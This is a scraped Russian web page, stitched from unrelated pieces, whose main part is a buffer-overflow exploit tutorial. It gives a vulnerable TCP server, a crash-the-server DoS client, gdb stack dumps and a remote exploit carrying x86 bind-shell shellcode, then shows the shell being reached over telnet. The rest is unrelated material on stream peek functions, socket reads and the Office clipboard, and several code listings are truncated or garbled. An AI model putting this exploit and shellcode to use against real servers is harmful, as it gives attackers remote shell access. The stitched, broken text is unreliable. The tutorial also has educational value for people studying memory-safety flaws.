Все. Откомпилируйте программу. Как видно наша уязвимая программа вызвала переполнение. Для того чтобы посмотреть подробности, скажу, что после переполнения в текущей директории должен создаться файл «core». В нем имеется информация о переполнении. Поищите его. Далее его нужно просмотреть через gdb: Вот. Возглянем на регистр ESP для того чтобы вычеслить адрес возврата на шеллкод. Так. Пора писать эксплоит. По сути, он ничем не отличается от предыдушего, только функциями. Ну, я думаю, ничего сложного нет, чтобы разобраться с этим кодом. Скажу лишь то, что т.к. адрес буфера уязвимой программы маленький, я расположил адрес в диапазоне от 0 до 500. Он все равно правильно будет расположен. Так теперь давайте откомпилируем эксплоит и запустим. Вот и все, что требовалось доказать :). Переходим к удаленному переполнению буфера.

УДАЛЕННОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА.

Я думаю, многие видели в security рассылках сообщение об очередной ошибке в каком-либо демоне. И в advisory написано, например, что тип атаки является «Удаленным» (Remote). Вначале статьи мы описали принцип локального переполнения. Сейчас я хочу показать Вам пример удаленного переполнения. Мы напишем уязвимый демон. А далее напишем для него эксплоит. Итак, рассмотрим пример уязвимого сервера. Итак, выше приведен листинг простенького сервера. Давайте откомпилируем его и попытаемся запустить. Демон слушает 2278 порт. Попробуем соединиться с этим портом. Работает отлично. Я думаю, Вы уже заметили ошибку переполнения в сервере. Т.е. если серверу передать слишком длинную строку, то он завершится с ошибкой. Давайте рассмотрим пример программу, которую в простонародье принято считать DOS-утилита. Давайте испробуем программу. Не закрывайте сервер. Взглянем на окно сервера. Вот и переполнение! Взглянем на значение регистра ESP. Так вот. Произошло настоящее переполнение. Хочу предупредить, что для того чтобы правильно выбрать адрес на шеллкод не стоит брать адреса верхние и нижние. Нужно взять адреса средние. Настало время написать эксплоит. Давайте протестируем эксплоит. Опа. Работает! Вот в принципе и все. Вообще переполнение удаленное и локальное мало чем отличается.

В этом материале я постарался рассказать очень подробно тему переполнения. Я думаю, она очень понятна даже для человека, который вообще не знал об этой уязвимости. В заключении хотелось бы также отметить то, что я разработал утилиту, которая генерирует эксплоит автоматически. Скачать ее вы можете на сайте http://unl0ck.info. На данный момент это версия 0.3. В будущем планируется добавить новые возможности.

Хотелось бы поблагодарить следующих людей: stine, cr0n, f00n, nekd0, forsyte, eitr0n, msm, mssunny. Без этих людей жизнь в Сети была бы однообразна.

По поводу каких-либо вопросов пишите на darkeagle@list.ru http://unl0ck.info

P.S. Все примеры программ в статье Вы можете скачать http://www.unl0ck.info/boft.tgz

Подписывайтесь на каналы «SecurityLab» в Telegram и Яндекс.Дзен, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.

Удаленное переполнение буфера своими руками

Читая множество документов по переполнению буфера,
технике переполнения буфера, я заметил, что во всех
мануалах, описываются только локальные переполнения,
а об удаленных ни слова… В данной статье я хотел бы
восполнить этот пробел и объяснить вам технику удаленного переполнения буфера. Речь у нас пойдет о том,
как написать клиента для переполнения
буфера удаленного сервера. В данной статье мы напишем уязвимый сервер
и клиента, который будет переполнять буфер у удаленного сервера с исполнением шеллкода.

Скажу то, что клиент и сервер я взял у авторитетной
security-team — w00w00, в их архивах w00giving в раз деле
LibExploit. Я его немного подкорректировал (убрал библиотеку LibExploit), чтобы клиент мог исполняться на вашей системе без всяких проблем.

Итак, вот серверная часть:

#include
#include
#include

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
#define NO -1

int handling_client(int c) <
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;

strcpy(buffer, «Login : «);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == NO)
return NO;

bytes = recv(c, name, sizeof(name), 0);
if (bytes == NO)
return NO;

name[bytes — 1] = ‘\0’;

sprintf(buffer, «Hello %s!\r\n», name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == NO)
return NO;

int main(int argc, char *argv[]) <
int Sock, con, client_size;
struct sockaddr_in srv, cli;

if (argc != 2) <
fprintf(stderr, «usage: %s port\n», argv[0]);
return 1;
>

Sock = socket(AF_INET, SOCK_STREAM, 0);
if (Sock == NO) <
perror(«socket() failed»);
return 2;
>

srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;

if (listen(Sock, 3) == NO) <
perror(«listen() failed»);
return 4;
>

if (handling_client(con) == NO)
fprintf(stderr, «%s: handling() failed», argv[0]);
close(con);
>
return 0;
>
/* E0F */

Хочу пояснить принцип действия серверной части:
сервер запускается на определенном порту и выводит
приглашение «Login» при подключении к нему клиентской части. Нетрудно догадаться, что размер Login
(buf) ограничен — 1024 байт, а размер переменной
name — 2048. Скажу, что в переменную name заносится
значение Login. Далее полученная строка копируется
в buf, и выводится сообщение вида : «Hello %s», где
%s веденное значение в поле Login (т.е. name). Ошибка заключается в том, что при вводе в поле Login слишком большее кол-во символов (более 1064), приводит
к тому, что сервер вылетит. Напомню, почему именно
1064, а не 1024, так это потому, что 1024 — сама строка, при вводе
1024 байт сервер не упадет, т.к. значение регистров не поменяются, 1064 байт, это значение при котором регистры затрутся и переполнят стек.

Я предлагаю написать программу, которая будет укладывать сервер в даун. Т.е. программу —
DoS.

#include
#include
#include

int main(int argc, char *argv[])
<
int i, sock;
char buf[1064];
struct sockaddr_in tgt;

tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

Думаю разобраться в этой программе очень легко,
т.к. в ней особо то сложного и нет. Программа просто соединятся с серверной частью и посылает ей данные — 1064 байт.

Предлагаю откомпилировать наш сервер и запустить.

[root@localhost home]# gcc server.c -o server
[root@localhost home]# ./server 12345

Итак мы запустили наш сервер на 12345-ом порту.
Давайте просто соединимся с ним при помощи стандартного telnet-клиента.

[root@localhost home]# telnet 127.0.0.1 12345
Trying 127.0.0.1.
Connected to localhost (127.0.0.1).
Escape character is ‘^]’.
Login : root
Hello root!
Connection closed by foreign host.
[root@localhost home]#

Как видно сервер просто копирует введенное значение и
выводит сообщение на экран. Теперь давайте запустим наш сервер в gdb и откомпилируем наш DoS клиент, и попытаемся запустить его на наш сервер.

[root@localhost home]# gdb server
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type «show copying» to see the conditions.
There is absolutely no warranty for GDB. Type «show warranty» for details.
This GDB was configured as «i586-mandrake-linux-gnu». Using host libthread_db library «/lib/tls/libthread_db.so.1».

(gdb) r 12345
Starting program: /home/server 12345

Программа стартовала в gdb, теперь откомпилируйте dos
клиент и запустите его.

[root@localhost home]# gcc dos.c -o dos
[root@localhost home]# ./dos 127.0.0.1 12345
[root@localhost home]#

Взглянем на окно, где запущен сервер в gdb.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Опа. Сервер завершился с ошибкой «Segmentation
fault» Это говорит о том, что мы затерли значение регистров.
0x41414141 in ?? () — эта строка говорит о том, что наша
программа обратилась по адресу 0x41414141 и в итоге завершилась.
Давайте взглянем на значения регистров.

(gdb) x/x $esp
0xbffff750: 0x41414141
(gdb)

Если вы знакомы с техникой переполнения, то вам скорее
уже все понятно. Скажу, что регистр $esp указывает на
значение 0x41414141.

Взглянем на другие важные регистры стека.

(gdb) i reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb)

Эти регистры затерлись значением «A» в hex формате.
Такс. Мы можем взять значение $esp за retaddr. Но
для большей уверенности давайте взглянем на стек изнутри.

(gdb) x/500bx $esp-500
0xbffff55c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff564: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff56c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff574: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff57c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff584: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff58c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff594: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff59c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff684: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff68c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff694: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff69c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
—Type to continue, or q to quit—
0xbffff6ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff704: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff70c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff714: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff74c: 0x41 0x41 0x41 0x41

Илон Маск рекомендует:  Iis управление веб узлом

Вот это да. Скажу то, что мы можем со 100% уверенностью
можем взять за значение retaddr что-то из этого :

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

Т.к. они указывают на наш адрес (0x41414141), т.е. «A»
(hex), следовательно при правильном формировании выполнят наш заветный шеллкод.

Итак хватит теории перейдем к практике. Теперь я предлагаю написать клиента, который будет соединяться с сервером и
передавать ей NOP+SHELLCODE+RET. Далее шеллкод будет исполняться на удаленной машите.

[= Remote Exloit =]
/*
* Exploit to overflow server program.
* Third example without using LibExploit ��
*
* Remote buffer overflow exploit.
*
*/

#include
#include
#include

static char shellcode[]= // Bind 2003 PORT
«\x31\xc0\x89\xc3\xb0\x02\xcd\x80\ x38\xc3\x74\x05\x8d\x43\x01\xcd\x80»
«\x31\xc0\x89\x45\x10\x40\x89\xc3\ x89\x45\x0c\x40\x89\x45\x08\x8d\x4d»
«\x08\xb0\x66\xcd\x80\x89\x45\x08\ x43\x66\x89\x5d\x14\x66\xc7\x45\x16»
«\x07\xd3\x31\xd2\x89\x55\x18\x8d\ x55\x14\x89\x55\x0c\xc6\x45\x10\x10»
«\xb0\x66\xcd\x80\x40\x89\x45\x0c\ x43\x43\xb0\x66\xcd\x80\x43\x89\x45»
«\x0c\x89\x45\x10\xb0\x66\xcd\x80\ x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41»
«\x80\xf9\x03\x75\xf6\x31\xd2\x52\ x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62»
«\x69\x89\xe3\x52\x53\x89\xe1\xb0\ x0b\xcd\x80»;

#define RET 0xbffff688

int main(int argc, char *argv[])
<
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;

if (argc != 3)
<
printf(«usage : exploit ip port!\n»);
return 0;
>

memset(buffer, 0x90, 1064);
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
buffer[1000] = 0x90;
for (i = 1022; i

Думаю, разобраться тут не столь сложно. Я лишь скажу, что
сначала мы подготавливаем буфер, заполняем его NOP’ами
в размере 1064 байт. Далее в буфер копируется шеллкод.
Переводим 1000 байт в NOP. Потом мы засовываем указатель на наш заветный шеллкод в
промежутке 1022 до 1059, это на подстраховку. Т.к. если
мы засунем указатель в конец буфера, то вряд ли шеллкод
сможет выполниться. Далее null’им 1063 байт. Т.е. конец
буфера. Потом соединяемся с сервером и отправляем наш
сформированный код. Осталось проверить его :

[root@localhost home]# gcc exploit.c -o exploit
[root@localhost home]# ./exploit 127.0.0.1 12345
using : 0xbffff688
[root@localhost home]# telnet 127.0.0.1 2003
Trying 127.0.0.1.
Connected to localhost (127.0.0.1).
Escape character is ‘^]’.

На последок можете взглянуть на окно сервера. Сервер
не упал. Он продолжает так же усердно работать. Т.е.
наша задача выполнена. Смею на этом отклониться.
Желаю всяческих удач в познавании основ эксплоитинга.

Благодарю всех членов команды unl0ck :
stine, -coVer-, d4rkeagle.
Так же спасибо xCrZx, т.к. шеллкод был взят из его эксплоита к mod_gzip.

std:: istream::peek

Returns the next character in the input sequence, without extracting it: The character is left as the next character to be extracted from the stream.

If any internal state flags is already set before the call or is set during the call, the function returns the end-of-file value ( EOF ).

Internally, the function accesses the input sequence by first constructing a sentry object (with noskipws set to true ). Then (if good ), it reads one character from its associated stream buffer object by calling its member function sgetc , and finally destroys the sentry object before returning.

Calling this function sets the value returned by gcount to zero.

Parameters

Return Value

The next character in the input sequence, as a value of type int .

If there are no more characters to read in the input sequence, or if any internal state flags is set, the function returns the end-of-file value ( EOF ), and leaves the proper internal state flags set:

flag error
eofbit No character could be peeked because the input sequence has no characters available (end-of-file reached).
failbit The construction of sentry failed (such as when the stream state was not good before the call).
badbit Error on stream (such as when this function catches an exception thrown by an internal operation).
When set, the integrity of the stream may have been affected.

Multiple flags may be set by a single operation.

If the operation sets an internal state flag that was registered with member exceptions , the function throws an exception of member type failure .

Io.BufferedReader peek функция возвращает весь текст в буфере

Я использую Python 3.4.1 в Windows 8.

Я хотел бы прочитать файл с буферизованным интерфейсом, который позволяет мне заглянуть в определенное количество байтов вперед, а также прочитать байты. io.BufferedReader кажется правильным выбором.

К сожалению, io.BufferReader.peek кажется бесполезным, поскольку он просто возвращает все байты, хранящиеся в буфере, а не запрошенное число. Фактически это разрешено документацией по этой функции (выделение мое):

peek ([size]) Возвращает байты из потока, не продвигая должность. Не более одного единственного чтения на необработанном потоке выполняется для удовлетворения вызов. Количество возвращенных байтов может быть меньше или больше, чем просил.

Чтобы продемонстрировать, что я считаю бесполезным, у меня есть следующий тестовый файл с именем Test1.txt :

Я создаю объект io.BufferedReader как это в IDLE:

а затем запросите два байта,

А? Это всего лишь текст в размере буфера по умолчанию (который составляет 8192 байта в моей системе). Если я изменил это значение по умолчанию, я могу подтвердить, что peek() просто возвращает содержимое буфера,

Чтобы быть ясным, следующий результат я ожидаю увидеть:

То есть типичный буферный поток.

Что я делаю неправильно при построении этого BufferedReader ? Как я могу наблюдать поведение, которое я ожидаю увидеть в Python 3.4.1?

Мелкий вопрос по сокетам: можно ли получить ЧАСТЬ буфера при read()?

Если отправить друг за другом два сообщения через write(), то при приёме через read() они придут «слипнувшимися», как будто это одно длинное. Вопрос: а возможен ли случай, когда при read() я получу ЧАСТЬ сообщения, как будто оно еще «не успело придти целиком»? Или я всегда гарантированно получу целое? Разумеется всё это при условии, что я буду отправлять сообщения длиной не более длины буфера (в винде это вроде 8192 кб).

ALPINE
> а возможен ли случай, когда при read() я получу ЧАСТЬ сообщения
возможен

А что тебе мешает первым полем сообщения писать его длину, и потом прочитывать сначала длину и затем в read() заказывать заранее известную длину? Тогда лишнее не прочитается и останется ждать.

kvakvs
> первым полем сообщения писать его длину,
само собой, это я и буду делать, чтобы отсечь лишнее.

но во-первых я не знал, может ли прочитаться неполное сообщение (и удалитья из буфера приёма). оказывается, может (спасибо ART).

а во-вторых, основная задача справиться вот с какой проблемой: если я жду сообщения в 100 байт, а приходит только 80, значит эти 80 надо куда-то сохранять, потом ждать, когда придут остальные 20, читать их в 81-ю позицию сохранённого буфера и только потом анализировать сообщение целиком. я-то думал, что принять неполное сообщение невозможно. это существенно упростило бы задачу.

Нашел следующий выход из проблемы. Вместо read() надо использовать recv() с флагом MSG_PEEK, тогда сообщение не удалится из буфера приёма, и если оно будет неполным, я просто игнорирую принятые данные. Вопрос, связанный с этим: а если сообщение пришло полным, как теперь удалить эти N прочитанных байт из буфера приёма? Только еще раз их прочитав без флага MSG_PEEK? Более элегантных и быстрых способов нет?

ALPINE
Элегантнее только читать всё что пришло неважно сколько байт, и складывать у себя в переменную.
Затем после чтения пытаться начало переменной «схавать» как пакет, если схавалось то хорошо — пакет можно обработать и исполнить, а если недостаточно данных — то ничего, ждём. Ну в принципе практически то же самое как recv+MSG_PEEK

kvakvs
> практически то же самое как recv+MSG_PEEK
угу, только руками. а при recv+MSG_PEEK единственный минус — удалить данные из буфера можно только еще одним чтением. Но, я думаю, это не сильно скажется на производительности. На первый порах так и сделаю.

Кстати, я правильно понимаю, что при UDP этот случай невозможен, т.е. датаграммы всегда целиком приходят?

kipar
датаграммы я читал, что да, только целиком:

а вот про stream не был уверен и поэтому спросил здесь.

ALPINE
kvakvs правильно говорит. Придумай для себя шапку, например, первый байт идентификатора пакета, второй байт длина данных пакета (без учёта размера шапки). Потом считывай через recv() ожидаемое количество байт (при первом считывание это 2 байта) в один буфер и после каждого считывания проверяй сколько у тебя байт в буфере. Если 1 байт, то ничего не делаешь, просто устанавливаешь что ожидаемое количество байт было 1. Продолжаешь. Если будет 2 байта в буфере, то анализируешь чему равен второй байт. Если он 0, то пакет у тебя полностью на руках (пакет без данных) ты его извлекаешь из буфера (то есть удаляешь) и ставишь ожидаемое количество байт на 2. А если там будет не 0, то ставишь ожидаемое количество байт столько, какое значение во втором байте. Если вдруг в следующий раз прочитает не столько сколько ждал, вычитаешь сколько осталось и так по кругу.

ALPINE
Например у меня так:

Я уже сделал вот так:

Проверки на ошибки и т.д. я отсюда выбросил, показал только саму суть. Недостаток этого кода — recv() вызывается дважды для одних и тех же данных.

ALPINE
Слышал я что такой способ медленный.

s3dworld
ну может и да, медленный. Я ведь вызываю recv() целую кучу раз до тех пор, пока не удастся прочитать сообщение целиком. И только после этого удаляю его из очереди буфера приёма. Правильней было бы считывать любое принятое количество байт, сохранять в локальном буфере и всё то же самое делать руками. Позже так и сделаю. Если не лень будет :)

Копирование и вставка с использованием буфера обмена Office

Буфер обмера Office позволяет скопировать до 24 элементов из документов Office или других программ и вставить их в другой документ Office. Например, можно скопировать текст из сообщения электронной почты, данные из книги или таблицы и рисунок из презентации, а затем вставить их все в документ. С помощью буфера обмена Office скопированные элементы можно разместить в документе в нужном порядке.

При использовании области задач Буфер обмена можно вставлять не только последний скопированный или вырезанный объект. Область задач Буфер обмена содержит несколько последних изображений или текстовых фрагментов, которые вы копировали или вырезали.

Примечание: вы по-прежнему можете вырезать, копировать и вставлять фрагменты стандартным способом — с помощью кнопок на ленте или сочетаний клавиш CTRL+X (Вырезать), CTRL+C (Копировать) и CTRL+V (Вставить).

Открытие области задач «Буфер обмена» в приложениях Office

Чтобы открыть область задач Буфер обмена, откройте вкладку Главная, а затем нажмите кнопку вызова диалогового окна Буфер обмена. Дважды щелкните изображение или фрагмент текста, которые нужно вставить.

Примечание: Чтобы открыть область задач Буфер обмена в Outlook, в открытом сообщении откройте вкладку Сообщение, а затем в группе Буфер обмена нажмите кнопку вызова диалогового окна Буфер обмена.

Копирование и вставка нескольких элементов с использованием буфера обмена Office

Откройте файл, из которого вы хотите скопировать элементы.

Выберите первый элемент, который требуется скопировать, и нажмите клавиши CTRL+C.

Продолжайте копировать элементы из того же или другого файла, пока не соберете все, которые вам нужны. В буфер обмена Office можно поместить до 24 элементов. При копировании двадцать пятого элемента первый элемент в буфере обмена Office удаляется.

По мере добавления элементов в буфер обмена Office в области задач Буфер обмена появляются соответствующие записи. Новая запись всегда добавляется в начало. Каждая запись содержит значок, соответствующий исходной программе Office, а также фрагмент скопированного текста или эскиз скопированного рисунка.

Щелкните место в документе, в которое необходимо вставить элементы. Собранные элементы можно вставить в любую программу Office.

Выполните одно из указанных ниже действий.

Чтобы вставить элементы по одному, в области задач Буфер обмена дважды щелкните каждый элемент, который вы хотите вставить.

Чтобы вставить все скопированные элементы, в области задач Буфер обмена нажмите кнопку Вставить все.

Удаление элементов из буфера обмена Office

Элементы можно удалить из буфера обмена Office по одному или все сразу.

В области задач Буфер обмена выполните одно из указанных ниже действий.

Чтобы удалить один элемент, щелкните стрелку рядом с ним и выберите команду Удалить.

Чтобы удалить все элементы, нажмите кнопку Удалить все.

Настройка отображения буфера обмена в Office

Чтобы настроить способ отображения буфера обмена Office, нажмите кнопку Параметры в нижней части области задач.

Автоматическое отображение буфера обмена Office

Автоматическое отображение буфера обмена Office при копировании элементов.

Открывать буфер обмена Office при двойном нажатии CTRL+C

Автоматическое отображение буфера обмена Office при двойном нажатии клавиш CTRL+C.

Собирать данные без отображения буфера обмена Office

Автоматическое копирование элементов в буфер обмена Office без отображения области задач Буфер обмена.

Показать значок буфера обмена Office на панели задач

Отображение значка Буфер обмена Office в области состояния системной панели задач, когда буфер обмена Office активен. Этот параметр включен по умолчанию.

Показывать состояние около панели задач при копировании

Отображение сообщений о собранных элементах при их копировании в буфер обмена Office. По умолчанию этот параметр включен.

Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL